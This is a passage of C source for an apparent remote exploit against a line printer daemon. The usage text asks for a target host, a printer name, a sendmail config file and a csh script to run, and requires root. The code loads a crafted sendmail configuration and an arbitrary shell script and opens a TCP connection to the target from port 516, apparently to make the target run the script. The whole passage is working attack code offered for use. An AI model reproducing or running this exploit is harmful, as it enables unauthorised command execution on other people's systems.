printf("\nUsage: %s <local ip to use> <host to attack> <printer name> <sendmail cfgfile> <csh script to run>\n\n The local address you choose must reverse-resolve,\n and it must be on an interface on your local machine.\n Oh, and you have to be root to do this.\n\n",argv[0]);
return 0;
}
/* Give readable names to arguments */
localip=argv[1];
targethost=argv[2];
printer=argv[3];
sendmailcfg=argv[4];
cshscript=argv[5];
/* Get the local machine name */
if((locaddr=inet_addr(localip))==INADDR_NONE) {
struct hostent *he;
he=gethostbyname(argv[1]);
if(he==NULL) {
printf("couldn't resolve local hostname.\n");
return 0;
}
locaddr=*(unsigned long *)(he->h_addr_list[0]);
}
/* Get the target machine address */
if((addr=inet_addr(targethost))==INADDR_NONE) {
struct hostent *he;
he=gethostbyname(targethost);
if(he==NULL) {
printf("couldn't resolve hostname.\n");
return 0;
}
addr=*(unsigned long *)(he->h_addr_list[0]);
}
/* Put the printer name in the cf file string */
snprintf(cffile,2048,cffilestr,printer);
/* Get the size of the sendmail config file to send over */
if(stat(sendmailcfg,&stats)==-1) {
printf("Couldn't stat %s\n",sendmailcfg);
return 0;
}
/* Allocate memory for the cfg file */
dffile=(char *)malloc(stats.st_size+256);
if(dffile==NULL) {
printf("Couldn't allocate memory.\n");
return 0;
}
/* Load the config file, replacing %s with printer name */
dfpos=0;
df=open(sendmailcfg,O_RDONLY);
if(df==-1) return 0;
for(i=0;i<stats.st_size;i++) {
char c;
read(df,&c,1);
if(c=='%') {
read(df,&c,1);
i++;
if(c=='s') {
memcpy(dffile+dfpos,printer,strlen(printer));
dfpos+=strlen(printer);
}
else {
dffile[dfpos]='%';
dfpos++;
dffile[dfpos]=c;
dfpos++;
}
} else {
dffile[dfpos]=c;
dfpos++;
}
}
close(df);
/* Get the size of the script file to send over */
if(stat(cshscript,&stats)==-1) {
printf("Couldn't stat %s\n",cshscript);
return 0;
}
/* Allocate memory for the csh script file */
dffile2=(char *)malloc(stats.st_size+256);
if(dffile2==NULL) {
printf("Couldn't allocate memory.\n");
return 0;
}
/* Load the config file */
dfpos2=0;
df=open(cshscript,O_RDONLY);
if(df==-1) return 0;
for(i=0;i<stats.st_size;i++) {
char c;
read(df,&c,1);
dffile2[dfpos2]=c;
dfpos2++;
}
close(df);
/* Create a TCP socket */
s=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
/* Aim it at the target machine, coming from our local address, port 516 */